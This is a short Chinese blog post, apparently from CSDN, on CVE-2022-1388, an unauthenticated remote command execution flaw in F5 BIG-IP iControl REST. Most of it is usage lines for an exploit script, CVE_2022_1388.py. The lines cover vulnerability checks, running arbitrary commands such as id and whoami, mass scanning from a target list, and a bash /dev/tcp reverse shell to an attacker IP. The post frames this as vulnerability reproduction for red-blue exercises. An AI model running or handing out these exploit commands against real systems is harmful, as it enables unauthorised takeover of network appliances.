CVE-2022-1388:F5 BIG-IP iControl REST RCE

最新推荐文章于 2024-05-16 12:01:39 发布

FLy_鹏程万里

最新推荐文章于 2024-05-16 12:01:39 发布

阅读量660

点赞数

文章标签： CVE-2022-1388 F5 Big-IP 漏洞预警漏洞复现红蓝对抗

本文链接：https://blog.csdn.net/Fly_hps/article/details/124728586

版权

该博客介绍了F5 BIG-IP系统多个版本存在的安全漏洞，这些漏洞可能导致未授权的攻击者执行任意系统命令、篡改文件或禁用服务。提供了检测脚本CVE_2022_1388.py用于检测受影响的设备，并演示了如何进行漏洞检测、命令执行、批量检测及反弹shell的操作。

摘要由CSDN通过智能技术生成

此漏洞可能允许未经身份验证的攻击者通过管理端口和/或自身IP地址对BIG-IP系统进行网络访问，以执行任意系统命令、创建或删除文件或禁用服务

基本用法

python3 CVE_2022_1388.py

漏洞检测

python3 CVE_2022_1388.py -v true -u https://192.168.17.200

命令执行

python3 CVE_2022_1388.py -a true -u https://192.168.17.200/ -c id

python3 CVE_2022_1388.py -a true -u https://192.168.17.200/ -c whoami

批量检测

python3 CVE_2022_1388.py -s true -f check.txt

反弹shell

python3 CVE_2022_1388.py -r true -u https://192.168.17.200 -c "bash -i >&/dev/tcp/192.168.17.175/8888 0>&1"

关注